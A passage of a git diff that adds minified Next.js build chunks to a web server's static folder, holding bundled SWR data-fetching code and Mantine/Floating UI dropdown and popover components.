u[t]=n,n.push(e),()=>n.splice(n.indexOf(e),1)},s=(e,n,r)=>{t.set(e,n);let o=u[e];if(o)for(let i=o.length;i--;)o[i](n,r)},y=()=>{if(!i.has(t)&&(i.set(t,[r,{},{},{},o,s,l]),!C)){let e=n.initFocus(setTimeout.bind(f,A.bind(f,r,0))),u=n.initReconnect(setTimeout.bind(f,A.bind(f,r,1)));a=()=>{e&&e(),u&&u(),i.delete(t)}}};return y(),[t,o,y,a]}return[t,i.get(t)[4]]},W=(t,e,n,r,o)=>{let i=n.errorRetryCount,a=o.retryCount,u=~~((Math.random()+.5)*(1<<(a<8?a:8)))*n.errorRetryInterval;(s(i)||!(a>i))&&setTimeout(r,u,o)},L=(t,e)=>O(t)==O(e),[F,I]=H(new Map),Q=p({onLoadingSlow:c,onSuccess:c,onError:c,onErrorRetry:W,onDiscarded:c,revalidateOnFocus:!0,revalidateOnReconnect:!0,revalidateIfStale:!0,shouldRetryOnError:!0,errorRetryInterval:Z?1e4:5e3,focusThrottleInterval:5e3,dedupingInterval:2e3,loadingTimeout:Z?5e3:3e3,compare:L,isPaused:()=>!1,cache:F,mutate:I,fallback:{}},{isOnline:()=>T,isVisible:_}),X=(t,e)=>{let n=p(t,e);if(e){let{use:r,fallback:o}=t,{use:i,fallback:a}=e;r&&i&&(n.use=r.concat(i)),o&&a&&(n.fallback=p(o,a))}return n},G=(0,r.createContext)({}),V=t=>{let{value:e}=t,n=(0,r.useContext)(G),o=y(e),i=(0,r.useMemo)(()=>o?e(n):e,[o,n,e]),a=(0,r.useMemo)(()=>o?i:X(n,i),[o,n,i]),u=i&&i.provider,[c]=(0,r.useState)(()=>u?H(u(a.cache||F),i):f);return c&&(a.cache=c[0],a.mutate=c[1]),D(()=>{if(c)return c[2]&&c[2](),c[3]},[]),(0,r.createElement)(G.Provider,p(t,{value:a}))},z=b&&window.__SWR_DEVTOOLS_USE__,J=z?window.__SWR_DEVTOOLS_USE__:[],K=t=>y(t[1])?[t[0],t[1],t[2]||{}]:[t[0],null,(null===t[1]?t[2]:t[1])||{}],$=()=>p(Q,(0,r.useContext)(G)),tt=t=>(e,n,r)=>{let o=n&&((...t)=>{let r=U(e)[0],[,,,o]=i.get(F),a=o[r];return a?(delete o[r],a):n(...t)});return t(e,o,r)},te=J.concat(tt),tn=(t,e,n)=>{let r=e[t]||(e[t]=[]);return r.push(n),()=>{let t=r.indexOf(n);t>=0&&(r[t]=r[r.length-1],r.pop())}};z&&(window.__SWR_DEVTOOLS_REACT__=r);let tr={dedupe:!0},to=(t,e,n)=>{let{cache:a,compare:u,suspense:c,fallbackData:l,revalidateOnMount:d,revalidateIfStale:b,refreshInterval:h,refreshWhenHidden:v,refreshWhenOffline:g,keepPreviousData:w}=n,[O,T,S]=i.get(a),[P,_]=U(t),j=(0,r.useRef)(!1),k=(0,r.useRef)(!1),R=(0,r.useRef)(P),M=(0,r.useRef)(e),Z=(0,r.useRef)(n),B=()=>Z.current,A=()=>B().isVisible()&&B().isOnline(),[H,W,L,F]=m(a,P),I=(0,r.useRef)({}).current,Q=s(l)?n.fallback[P]:l,X=(t,e)=>{let n=!0;for(let r in I){let o=r;"data"===o?u(e[o],t[o])||s(t[o])&&u(e[o],to)||(n=!1):e[o]!==t[o]&&(n=!1)}return n},G=(0,r.useMemo)(()=>{let t=!!P&&!!e&&(s(d)?!B().isPaused()&&!c&&(!!s(b)||b):d),n=e=>{let n=p(e);return(delete n._k,t)?{isValidating:!0,isLoading:!0,...n}:n},r=n(H()),o=n(F());return[()=>{let t=n(H());return X(t,r)?r:r=t},()=>o]},[a,P]),V=(0,o.useSyncExternalStore)((0,r.useCallback)(t=>L(P,(e,n)=>{X(n,e)||t()}),[a,P]),G[0],G[1]),z=!j.current,J=O[P]&&O[P].length>0,K=V.data,$=s(K)?Q:K,tt=V.error,te=(0,r.useRef)($),to=w?s(K)?te.current:K:$,ti=(!J||!!s(tt))&&(z&&!s(d)?d:!B().isPaused()&&(c?!s($)&&b:s($)||b)),ta=!!(P&&e&&z&&ti),tu=s(V.isValidating)?ta:V.isValidating,tc=s(V.isLoading)?ta:V.isLoading,tf=(0,r.useCallback)(async t=>{let e,r;let o=M.current;if(!P||!o||k.current||B().isPaused())return!1;let i=!0,a=t||{},c=!S[P]||!a.dedupe,l=()=>x?!k.current&&P===R.current&&j.current:P===R.current,p={isValidating:!1,isLoading:!1},d=()=>{W(p)},b=()=>{let t=S[P];t&&t[1]===r&&delete S[P]},h={isValidating:!0};s(H().data)&&(h.isLoading=!0);try{if(c&&(W(h),n.loadingTimeout&&s(H().data)&&setTimeout(()=>{i&&l()&&B().onLoadingSlow(P,n)},n.loadingTimeout),S[P]=[o(_),Y()]),[e,r]=S[P],e=await e,c&&setTimeout(b,n.dedupingInterval),!S[P]||S[P][1]!==r)return c&&l()&&B().onDiscarded(P),!1;p.error=f;let v=T[P];if(!s(v)&&(r<=v[0]||r<=v[1]||0===v[1]))return d(),c&&l()&&B().onDiscarded(P),!1;let m=H().data;p.data=u(m,e)?m:e,c&&l()&&B().onSuccess(e,P,n)}catch(O){b();let g=B(),{shouldRetryOnError:w}=g;!g.isPaused()&&(p.error=O,c&&l()&&(g.onError(O,P,g),(!0===w||y(w)&&w(O))&&A()&&g.onErrorRetry(O,P,g,tf,{retryCount:(a.retryCount||0)+1,dedupe:!0})))}return i=!1,d(),!0},[P,a]),tl=(0,r.useCallback)((...t)=>q(a,R.current,...t),[]);if(D(()=>{M.current=e,Z.current=n,s(K)||(te.current=K)}),D(()=>{if(!P)return;let t=tf.bind(f,tr),e=0,n=n=>{if(n==N.FOCUS_EVENT){let r=Date.now();B().revalidateOnFocus&&r>e&&A()&&(e=r+B().focusThrottleInterval,t())}else if(n==N.RECONNECT_EVENT)B().revalidateOnReconnect&&A()&&t();else if(n==N.MUTATE_EVENT)return tf()},r=tn(P,O,n);return k.current=!1,R.current=P,j.current=!0,W({_k:_}),ti&&(s($)||C?t():E(t)),()=>{k.current=!0,r()}},[P]),D(()=>{let t;function e(){let e=y(h)?h($):h;e&&-1!==t&&(t=setTimeout(n,e))}function n(){!H().error&&(v||B().isVisible())&&(g||B().isOnline())?tf(tr).then(e):e()}return e(),()=>{t&&(clearTimeout(t),t=-1)}},[h,v,g,P]),(0,r.useDebugValue)(to),c&&s($)&&P){if(!x&&C)throw Error("Fallback data is required when using suspense in SSR.");throw M.current=e,Z.current=n,k.current=!1,s(tt)?tf(tr):tt}return{mutate:tl,get data(){return I.data=!0,to},get error(){return I.error=!0,tt},get isValidating(){return I.isValidating=!0,tu},get isLoading(){return I.isLoading=!0,tc}}};l.defineProperty(V,"defaultValue",{value:Q});var ti=function(...t){let e=$(),[n,r,o]=K(t),i=X(e,o),a=to,{use:u}=i,c=(u||[]).concat(te);for(let f=c.length;f--;)a=c[f](a);return a(n,r||i.fetcher||null,i)}}}]); \ No newline at end of file diff --git a/server/web/static/_next/static/chunks/824-bac75cb64c553388.js b/server/web/static/_next/static/chunks/824-bac75cb64c553388.js new file mode 100644 index 0000000..732d357 --- /dev/null +++ b/server/web/static/_next/static/chunks/824-bac75cb64c553388.js @@ -0,0 +1,7 @@ +"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[824],{5606:function(e,t,r){let o;r.d(t,{F:function(){return rL}});var n=r(7294),a=r.t(n,2),i=r(5851),l=r(7048),c=r(665),s=r(3594),f=r(9058),d=r(5117),u=r(4761),p=r(6817);let m={xs:1,sm:2,md:3,lg:4,xl:5};function b(e,t){let r=e.fn.variant({variant:"outline",color:t}).border;return"string"==typeof t&&(t in e.colors||t.split(".")[0]in e.colors)?r:void 0===t?"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[4]:t}var y=(0,p.k)((e,{size:t,variant:r,color:o})=>({root:{},withLabel:{borderTop:"0 !important"},left:{"&::before":{display:"none"}},right:{"&::after":{display:"none"}},label:{display:"flex",alignItems:"center","&::before":{content:'""',flex:1,height:1,borderTop:`${e.fn.size({size:t,sizes:m})}px ${r} ${b(e,o)}`,marginRight:e.spacing.xs},"&::after":{content:'""',flex:1,borderTop:`${e.fn.size({size:t,sizes:m})}px ${r} ${b(e,o)}`,marginLeft:e.spacing.xs}},labelDefaultStyles:{color:"dark"===o?e.colors.dark[1]:e.fn.themeColor(o,"dark"===e.colorScheme?5:e.fn.primaryShade(),!1)},horizontal:{border:0,borderTopWidth:e.fn.size({size:t,sizes:m}),borderTopColor:b(e,o),borderTopStyle:r,margin:0},vertical:{border:0,alignSelf:"stretch",height:"auto",borderLeftWidth:e.fn.size({size:t,sizes:m}),borderLeftColor:b(e,o),borderLeftStyle:r}})),g=r(4523),h=Object.defineProperty,v=Object.defineProperties,w=Object.getOwnPropertyDescriptors,O=Object.getOwnPropertySymbols,x=Object.prototype.hasOwnProperty,k=Object.prototype.propertyIsEnumerable,P=(e,t,r)=>t in e?h(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,j=(e,t)=>{for(var r in t||(t={}))x.call(t,r)&&P(e,r,t[r]);if(O)for(var r of O(t))k.call(t,r)&&P(e,r,t[r]);return e},S=(e,t)=>v(e,w(t)),E=(e,t)=>{var r={};for(var o in e)x.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&O)for(var o of O(e))0>t.indexOf(o)&&k.call(e,o)&&(r[o]=e[o]);return r};let R={orientation:"horizontal",size:"xs",labelPosition:"left",variant:"solid"},z=(0,n.forwardRef)((e,t)=>{let r=(0,u.N4)("Divider",R,e),{className:o,color:a,orientation:i,size:l,label:c,labelPosition:s,labelProps:f,variant:p,styles:m,classNames:b,unstyled:h}=r,v=E(r,["className","color","orientation","size","label","labelPosition","labelProps","variant","styles","classNames","unstyled"]),{classes:w,cx:O}=y({color:a,size:l,variant:p},{classNames:b,styles:m,unstyled:h,name:"Divider"}),x="horizontal"===i,k=!!c&&x,P=!(null==f?void 0:f.color);return n.createElement(g.x,j({ref:t,className:O(w.root,{[w.vertical]:"vertical"===i,[w.horizontal]:x,[w.withLabel]:k},o),role:"separator"},v),k&&n.createElement(d.x,S(j({},f),{size:(null==f?void 0:f.size)||"xs",sx:{marginTop:2},className:O(w.label,w[s],{[w.labelDefaultStyles]:P})}),c))});z.displayName="@mantine/core/Divider";var C=Object.defineProperty,N=Object.defineProperties,I=Object.getOwnPropertyDescriptors,T=Object.getOwnPropertySymbols,D=Object.prototype.hasOwnProperty,L=Object.prototype.propertyIsEnumerable,A=(e,t,r)=>t in e?C(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,$=(e,t)=>{for(var r in t||(t={}))D.call(t,r)&&A(e,r,t[r]);if(T)for(var r of T(t))L.call(t,r)&&A(e,r,t[r]);return e},W=(e,t)=>N(e,I(t)),F=(0,p.k)((e,{size:t})=>({item:W($({},e.fn.fontStyles()),{boxSizing:"border-box",textAlign:"left",width:"100%",padding:`${e.fn.size({size:t,sizes:e.spacing})/1.5}px ${e.fn.size({size:t,sizes:e.spacing})}px`,cursor:"pointer",fontSize:e.fn.size({size:t,sizes:e.fontSizes}),color:"dark"===e.colorScheme?e.colors.dark[0]:e.black,borderRadius:e.fn.radius(),"&[data-hovered]":{backgroundColor:"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[1]},"&[data-selected]":$({backgroundColor:e.fn.variant({variant:"filled"}).background,color:e.fn.variant({variant:"filled"}).color},e.fn.hover({backgroundColor:e.fn.variant({variant:"filled"}).hover})),"&[data-disabled]":{cursor:"default",color:e.colors.dark[2]}}),nothingFound:{boxSizing:"border-box",color:e.colors.gray[6],paddingTop:e.fn.size({size:t,sizes:e.spacing})/2,paddingBottom:e.fn.size({size:t,sizes:e.spacing})/2,textAlign:"center"},separator:{boxSizing:"border-box",textAlign:"left",width:"100%",padding:`${e.fn.size({size:t,sizes:e.spacing})/1.5}px ${e.fn.size({size:t,sizes:e.spacing})}px`},separatorLabel:{color:"dark"===e.colorScheme?e.colors.dark[3]:e.colors.gray[5]}})),B=Object.defineProperty,M=Object.getOwnPropertySymbols,_=Object.prototype.hasOwnProperty,H=Object.prototype.propertyIsEnumerable,Y=(e,t,r)=>t in e?B(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,G=(e,t)=>{for(var r in t||(t={}))_.call(t,r)&&Y(e,r,t[r]);if(M)for(var r of M(t))H.call(t,r)&&Y(e,r,t[r]);return e};function V({data:e,hovered:t,classNames:r,styles:o,isItemSelected:a,uuid:i,__staticSelector:l,onItemHover:c,onItemSelect:s,itemsRefs:u,itemComponent:p,size:m,nothingFound:b,creatable:y,createLabel:g,unstyled:h}){let{classes:v}=F({size:m},{classNames:r,styles:o,unstyled:h,name:l}),w=[],O=[],x=null,k=(e,r)=>{let o="function"==typeof a&&a(e.value);return n.createElement(p,G({key:e.value,className:v.item,"data-disabled":e.disabled||void 0,"data-hovered":!e.disabled&&t===r||void 0,"data-selected":!e.disabled&&o||void 0,selected:o,onMouseEnter:()=>c(r),id:`${i}-${r}`,role:"option",tabIndex:-1,"aria-selected":t===r,ref:t=>{u&&u.current&&(u.current[e.value]=t)},onMouseDown:e.disabled?null:t=>{t.preventDefault(),s(e)},disabled:e.disabled},e))},P=null;if(e.forEach((e,t)=>{e.creatable?x=t:e.group?(P!==e.group&&(P=e.group,O.push(n.createElement("div",{className:v.separator,key:`__mantine-divider-${t}`},n.createElement(z,{classNames:{label:v.separatorLabel},label:e.group})))),O.push(k(e,t))):w.push(k(e,t))}),y){let j=e[x];w.push(n.createElement("div",{key:(0,f.k)(),className:v.item,"data-hovered":t===x||void 0,onMouseEnter:()=>c(x),onMouseDown:e=>{e.preventDefault(),s(j)},tabIndex:-1,ref:e=>{u&&u.current&&(u.current[j.value]=e)}},g))}return O.length>0&&w.length>0&&w.unshift(n.createElement("div",{className:v.separator,key:"empty-group-separator"},n.createElement(z,null))),O.length>0||w.length>0?n.createElement(n.Fragment,null,O,w):n.createElement(d.x,{size:m,unstyled:h,className:v.nothingFound},b)}V.displayName="@mantine/core/SelectItems";var X=Object.defineProperty,q=Object.getOwnPropertySymbols,K=Object.prototype.hasOwnProperty,Z=Object.prototype.propertyIsEnumerable,J=(e,t,r)=>t in e?X(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,U=(e,t)=>{for(var r in t||(t={}))K.call(t,r)&&J(e,r,t[r]);if(q)for(var r of q(t))Z.call(t,r)&&J(e,r,t[r]);return e},Q=(e,t)=>{var r={};for(var o in e)K.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&q)for(var o of q(e))0>t.indexOf(o)&&Z.call(e,o)&&(r[o]=e[o]);return r};let ee=(0,n.forwardRef)((e,t)=>{var{label:r,value:o}=e,a=Q(e,["label","value"]);return n.createElement("div",U({ref:t},a),r||o)});ee.displayName="@mantine/core/DefaultItem";var et=r(3723),er=Object.defineProperty,eo=Object.defineProperties,en=Object.getOwnPropertyDescriptors,ea=Object.getOwnPropertySymbols,ei=Object.prototype.hasOwnProperty,el=Object.prototype.propertyIsEnumerable,ec=(e,t,r)=>t in e?er(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,es=(e,t)=>{for(var r in t||(t={}))ei.call(t,r)&&ec(e,r,t[r]);if(ea)for(var r of ea(t))el.call(t,r)&&ec(e,r,t[r]);return e},ef=(e,t)=>eo(e,en(t)),ed=(e,t)=>{var r={};for(var o in e)ei.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&ea)for(var o of ea(e))0>t.indexOf(o)&&el.call(e,o)&&(r[o]=e[o]);return r};let eu=(0,n.forwardRef)((e,t)=>{var{style:r}=e,o=ed(e,["style"]);return n.createElement(et.x,ef(es({},o),{style:es({width:"100%"},r),viewportRef:t}),o.children)});eu.displayName="@mantine/core/SelectScrollArea";var ep=(0,p.k)(()=>({dropdown:{},itemsWrapper:{padding:4,display:"flex",width:"100%",boxSizing:"border-box"}})),em=r(6289);let eb=["mousedown","touchstart"];function ey(e){return e.split("-")[1]}function eg(e){return"y"===e?"height":"width"}function eh(e){return e.split("-")[0]}function ev(e){return["top","bottom"].includes(eh(e))?"x":"y"}function ew(e,t,r){let o,{reference:n,floating:a}=e,i=n.x+n.width/2-a.width/2,l=n.y+n.height/2-a.height/2,c=ev(t),s=eg(c),f=n[s]/2-a[s]/2,d="x"===c;switch(eh(t)){case"top":o={x:i,y:n.y-a.height};break;case"bottom":o={x:i,y:n.y+n.height};break;case"right":o={x:n.x+n.width,y:l};break;case"left":o={x:n.x-a.width,y:l};break;default:o={x:n.x,y:n.y}}switch(ey(t)){case"start":o[c]-=f*(r&&d?-1:1);break;case"end":o[c]+=f*(r&&d?-1:1)}return o}let eO=async(e,t,r)=>{let{placement:o="bottom",strategy:n="absolute",middleware:a=[],platform:i}=r,l=a.filter(Boolean),c=await (null==i.isRTL?void 0:i.isRTL(t)),s=await i.getElementRects({reference:e,floating:t,strategy:n}),{x:f,y:d}=ew(s,o,c),u=o,p={},m=0;for(let b=0;b({name:"arrow",options:e,async fn(t){let{element:r,padding:o=0}=e||{},{x:n,y:a,placement:i,rects:l,platform:c}=t;if(null==r)return{};let s=ex(o),f={x:n,y:a},d=ev(i),u=eg(d),p=await c.getDimensions(r),m="y"===d?"top":"left",b="y"===d?"bottom":"right",y=l.reference[u]+l.reference[d]-f[d]-l.floating[u],g=f[d]-l.reference[d],h=await (null==c.getOffsetParent?void 0:c.getOffsetParent(r)),v=h?"y"===d?h.clientHeight||0:h.clientWidth||0:0;0===v&&(v=l.floating[u]);let w=s[m],O=v-p[u]-s[b],x=v/2-p[u]/2+(y/2-g/2),k=eS(w,ej(x,O)),P=null!=ey(i)&&x!=k&&l.reference[u]/2-(xe.concat(t,t+"-start",t+"-end"),[]),{left:"right",right:"left",bottom:"top",top:"bottom"});function ez(e){return e.replace(/left|right|bottom|top/g,e=>eR[e])}let eC={start:"end",end:"start"};function eN(e){return e.replace(/start|end/g,e=>eC[e])}function eI(e){return"x"===e?"y":"x"}function eT(e){var t;return(null==(t=e.ownerDocument)?void 0:t.defaultView)||window}function eD(e){return eT(e).getComputedStyle(e)}let eL=Math.min,eA=Math.max,e$=Math.round;function eW(e){let t=eD(e),r=parseFloat(t.width),o=parseFloat(t.height),n=e.offsetWidth,a=e.offsetHeight,i=e$(r)!==n||e$(o)!==a;return i&&(r=n,o=a),{width:r,height:o,fallback:i}}function eF(e){return eH(e)?(e.nodeName||"").toLowerCase():""}function eB(){if(o)return o;let e=navigator.userAgentData;return e&&Array.isArray(e.brands)?o=e.brands.map(e=>e.brand+"/"+e.version).join(" "):navigator.userAgent}function eM(e){return e instanceof eT(e).HTMLElement}function e_(e){return e instanceof eT(e).Element}function eH(e){return e instanceof eT(e).Node}function eY(e){return"undefined"!=typeof ShadowRoot&&(e instanceof eT(e).ShadowRoot||e instanceof ShadowRoot)}function eG(e){let{overflow:t,overflowX:r,overflowY:o,display:n}=eD(e);return/auto|scroll|overlay|hidden|clip/.test(t+o+r)&&!["inline","contents"].includes(n)}function eV(e){let t=/firefox/i.test(eB()),r=eD(e),o=r.backdropFilter||r.WebkitBackdropFilter;return"none"!==r.transform||"none"!==r.perspective||!!o&&"none"!==o||t&&"filter"===r.willChange||t&&!!r.filter&&"none"!==r.filter||["transform","perspective"].some(e=>r.willChange.includes(e))||["paint","layout","strict","content"].some(e=>{let t=r.contain;return null!=t&&t.includes(e)})}function eX(){return/^((?!chrome|android).)*safari/i.test(eB())}function eq(e){return["html","body","#document"].includes(eF(e))}function eK(e){return e_(e)?e:e.contextElement}let eZ={x:1,y:1};function eJ(e){let t=eK(e);if(!eM(t))return eZ;let r=t.getBoundingClientRect(),{width:o,height:n,fallback:a}=eW(t),i=(a?e$(r.width):r.width)/o,l=(a?e$(r.height):r.height)/n;return i&&Number.isFinite(i)||(i=1),l&&Number.isFinite(l)||(l=1),{x:i,y:l}}function eU(e,t,r,o){var n,a;void 0===t&&(t=!1),void 0===r&&(r=!1);let i=e.getBoundingClientRect(),l=eK(e),c=eZ;t&&(o?e_(o)&&(c=eJ(o)):c=eJ(e));let s=l?eT(l):window,f=eX()&&r,d=(i.left+(f&&(null==(n=s.visualViewport)?void 0:n.offsetLeft)||0))/c.x,u=(i.top+(f&&(null==(a=s.visualViewport)?void 0:a.offsetTop)||0))/c.y,p=i.width/c.x,m=i.height/c.y;if(l){let b=eT(l),y=o&&e_(o)?eT(o):o,g=b.frameElement;for(;g&&o&&y!==b;){let h=eJ(g),v=g.getBoundingClientRect(),w=getComputedStyle(g);v.x+=(g.clientLeft+parseFloat(w.paddingLeft))*h.x,v.y+=(g.clientTop+parseFloat(w.paddingTop))*h.y,d*=h.x,u*=h.y,p*=h.x,m*=h.y,d+=v.x,u+=v.y,g=eT(g).frameElement}}return{width:p,height:m,top:u,right:d+p,bottom:u+m,left:d,x:d,y:u}}function eQ(e){return((eH(e)?e.ownerDocument:e.document)||window.document).documentElement}function e0(e){return e_(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function e1(e){return eU(eQ(e)).left+e0(e).scrollLeft}function e2(e){if("html"===eF(e))return e;let t=e.assignedSlot||e.parentNode||eY(e)&&e.host||eQ(e);return eY(t)?t.host:t}function e4(e,t){var r;void 0===t&&(t=[]);let o=function e(t){let r=e2(t);return eq(r)?r.ownerDocument.body:eM(r)&&eG(r)?r:e(r)}(e),n=o===(null==(r=e.ownerDocument)?void 0:r.body),a=eT(o);return n?t.concat(a,a.visualViewport||[],eG(o)?o:[]):t.concat(o,e4(o))}function e9(e,t,r){let o;if("viewport"===t)o=function(e,t){let r=eT(e),o=eQ(e),n=r.visualViewport,a=o.clientWidth,i=o.clientHeight,l=0,c=0;if(n){a=n.width,i=n.height;let s=eX();(!s||s&&"fixed"===t)&&(l=n.offsetLeft,c=n.offsetTop)}return{width:a,height:i,x:l,y:c}}(e,r);else if("document"===t)o=function(e){let t=eQ(e),r=e0(e),o=e.ownerDocument.body,n=eA(t.scrollWidth,t.clientWidth,o.scrollWidth,o.clientWidth),a=eA(t.scrollHeight,t.clientHeight,o.scrollHeight,o.clientHeight),i=-r.scrollLeft+e1(e),l=-r.scrollTop;return"rtl"===eD(o).direction&&(i+=eA(t.clientWidth,o.clientWidth)-n),{width:n,height:a,x:i,y:l}}(eQ(e));else if(e_(t))o=function(e,t){let r=eU(e,!0,"fixed"===t),o=r.top+e.clientTop,n=r.left+e.clientLeft,a=eM(e)?eJ(e):{x:1,y:1};return{width:e.clientWidth*a.x,height:e.clientHeight*a.y,x:n*a.x,y:o*a.y}}(t,r);else{let n={...t};if(eX()){var a,i;let l=eT(e);n.x-=(null==(a=l.visualViewport)?void 0:a.offsetLeft)||0,n.y-=(null==(i=l.visualViewport)?void 0:i.offsetTop)||0}o=n}return ek(o)}function e5(e,t){return eM(e)&&"fixed"!==eD(e).position?t?t(e):e.offsetParent:null}function e7(e,t){let r=eT(e),o=e5(e,t);for(;o&&["table","td","th"].includes(eF(o))&&"static"===eD(o).position;)o=e5(o,t);return o&&("html"===eF(o)||"body"===eF(o)&&"static"===eD(o).position&&!eV(o))?r:o||function(e){let t=e2(e);for(;eM(t)&&!eq(t);){if(eV(t))return t;t=e2(t)}return null}(e)||r}let e6={getClippingRect:function(e){let{element:t,boundary:r,rootBoundary:o,strategy:n}=e,a="clippingAncestors"===r?function(e,t){let r=t.get(e);if(r)return r;let o=e4(e).filter(e=>e_(e)&&"body"!==eF(e)),n=null,a="fixed"===eD(e).position,i=a?e2(e):e;for(;e_(i)&&!eq(i);){let l=eD(i),c=eV(i);(a?c||n:c||"static"!==l.position||!n||!["absolute","fixed"].includes(n.position))?n=l:o=o.filter(e=>e!==i),i=e2(i)}return t.set(e,o),o}(t,this._c):[].concat(r),i=[...a,o],l=i[0],c=i.reduce((e,r)=>{let o=e9(t,r,n);return e.top=eA(o.top,e.top),e.right=eL(o.right,e.right),e.bottom=eL(o.bottom,e.bottom),e.left=eA(o.left,e.left),e},e9(t,l,n));return{width:c.right-c.left,height:c.bottom-c.top,x:c.left,y:c.top}},convertOffsetParentRelativeRectToViewportRelativeRect:function(e){let{rect:t,offsetParent:r,strategy:o}=e,n=eM(r),a=eQ(r);if(r===a)return t;let i={scrollLeft:0,scrollTop:0},l={x:1,y:1},c={x:0,y:0};if((n||!n&&"fixed"!==o)&&(("body"!==eF(r)||eG(a))&&(i=e0(r)),eM(r))){let s=eU(r);l=eJ(r),c.x=s.x+r.clientLeft,c.y=s.y+r.clientTop}return{width:t.width*l.x,height:t.height*l.y,x:t.x*l.x-i.scrollLeft*l.x+c.x,y:t.y*l.y-i.scrollTop*l.y+c.y}},isElement:e_,getDimensions:function(e){return eM(e)?eW(e):e.getBoundingClientRect()},getOffsetParent:e7,getDocumentElement:eQ,getScale:eJ,async getElementRects(e){let{reference:t,floating:r,strategy:o}=e,n=this.getOffsetParent||e7,a=this.getDimensions;return{reference:function(e,t,r){let o=eM(t),n=eQ(t),a=eU(e,!0,"fixed"===r,t),i={scrollLeft:0,scrollTop:0},l={x:0,y:0};if(o||!o&&"fixed"!==r){if(("body"!==eF(t)||eG(n))&&(i=e0(t)),eM(t)){let c=eU(t,!0);l.x=c.x+t.clientLeft,l.y=c.y+t.clientTop}else n&&(l.x=e1(n))}return{x:a.left+i.scrollLeft-l.x,y:a.top+i.scrollTop-l.y,width:a.width,height:a.height}}(t,await n(r),o),floating:{x:0,y:0,...await a(r)}}},getClientRects:e=>Array.from(e.getClientRects()),isRTL:e=>"rtl"===eD(e).direction},e3=(e,t,r)=>{let o=new Map,n={platform:e6,...r},a={...n.platform,_c:o};return eO(e,t,{...n,platform:a})};var e8=r(3935);let te=e=>{let{element:t,padding:r}=e;return{name:"arrow",options:e,fn(e){if(Object.prototype.hasOwnProperty.call(t,"current")){if(null!=t.current)return eE({element:t.current,padding:r}).fn(e)}else if(t)return eE({element:t,padding:r}).fn(e);return{}}}};var tt="undefined"!=typeof document?n.useLayoutEffect:n.useEffect;function tr(e,t){let r,o,n;if(e===t)return!0;if(typeof e!=typeof t)return!1;if("function"==typeof e&&e.toString()===t.toString())return!0;if(e&&t&&"object"==typeof e){if(Array.isArray(e)){if((r=e.length)!=t.length)return!1;for(o=r;0!=o--;)if(!tr(e[o],t[o]))return!1;return!0}if((r=(n=Object.keys(e)).length)!==Object.keys(t).length)return!1;for(o=r;0!=o--;)if(!Object.prototype.hasOwnProperty.call(t,n[o]))return!1;for(o=r;0!=o--;){let a=n[o];if(("_owner"!==a||!e.$$typeof)&&!tr(e[a],t[a]))return!1}return!0}return e!=e&&t!=t}var to="undefined"!=typeof document?n.useLayoutEffect:n.useEffect;a["useId".toString()];let tn=n.createContext(null),ta=()=>n.useContext(tn);function ti(e){return!!e&&e instanceof(((null==e?void 0:e.ownerDocument)||document).defaultView||window).Element}let tl=a["useInsertionEffect".toString()],tc=tl||(e=>e());var ts=r(8216);let tf={context:"Popover component was not found in the tree",children:"Popover.Target component children should be an element or a component that accepts ref, fragments, strings, numbers and other primitive values are not supported"},[td,tu]=(0,ts.R)(tf.context);function tp(e){return!Array.isArray(e)&&null!==e&&"object"==typeof e&&e.type!==n.Fragment}var tm=r(6010),tb=Object.defineProperty,ty=Object.defineProperties,tg=Object.getOwnPropertyDescriptors,th=Object.getOwnPropertySymbols,tv=Object.prototype.hasOwnProperty,tw=Object.prototype.propertyIsEnumerable,tO=(e,t,r)=>t in e?tb(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,tx=(e,t)=>{for(var r in t||(t={}))tv.call(t,r)&&tO(e,r,t[r]);if(th)for(var r of th(t))tw.call(t,r)&&tO(e,r,t[r]);return e},tk=(e,t)=>ty(e,tg(t)),tP=(e,t)=>{var r={};for(var o in e)tv.call(e,o)&&0>t.indexOf(o)&&(r[o]=e[o]);if(null!=e&&th)for(var o of th(e))0>t.indexOf(o)&&tw.call(e,o)&&(r[o]=e[o]);return r};let tj={refProp:"ref",popupType:"dialog"},tS=(0,n.forwardRef)((e,t)=>{let r=(0,u.N4)("PopoverTarget",tj,e),{children:o,refProp:a,popupType:i}=r,l=tP(r,["children","refProp","popupType"]);if(!tp(o))throw Error(tf.children);let s=tu(),f=(0,c.Y)(s.reference,o.ref,t),d=s.withRoles?{"aria-haspopup":i,"aria-expanded":s.opened,"aria-controls":s.getDropdownId(),id:s.getTargetId()}:{};return(0,n.cloneElement)(o,tx(tk(tx(tx(tx({},l),d),s.targetProps),{className:(0,tm.Z)(s.targetProps.className,l.className,o.props.className),[a]:f}),s.controlled?null:{onClick:s.onToggle}))});tS.displayName="@mantine/core/PopoverTarget";let tE=()=>{};var tR=r(6362),tz=(0,p.k)((e,{radius:t,shadow:r})=>({dropdown:{position:"absolute",backgroundColor:e.white,background:"dark"===e.colorScheme?e.colors.dark[6]:e.white,border:`1px solid ${"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[2]}`,padding:`${e.spacing.sm}px ${e.spacing.md}px`,boxShadow:e.shadows[r]||r||"none",borderRadius:e.fn.radius(t),"&:focus":{outline:0}},arrow:{backgroundColor:"inherit",border:`1px solid ${"dark"===e.colorScheme?e.colors.dark[4]:e.colors.gray[2]}`,zIndex:1}})),tC=r(3143),tN=r(2974),tI=r(9068);function tT({transition:e,duration:t=250,exitDuration:r=t,mounted:o,children:a,timingFunction:i,onExit:l,onEntered:c,onEnter:s,onExited:f}){let{transitionDuration:d,transitionStatus:u,transitionTimingFunction:p}=(0,tI.Y)({mounted:o,exitDuration:r,duration:t,timingFunction:i,onExit:l,onEntered:c,onEnter:s,onExited:f});return 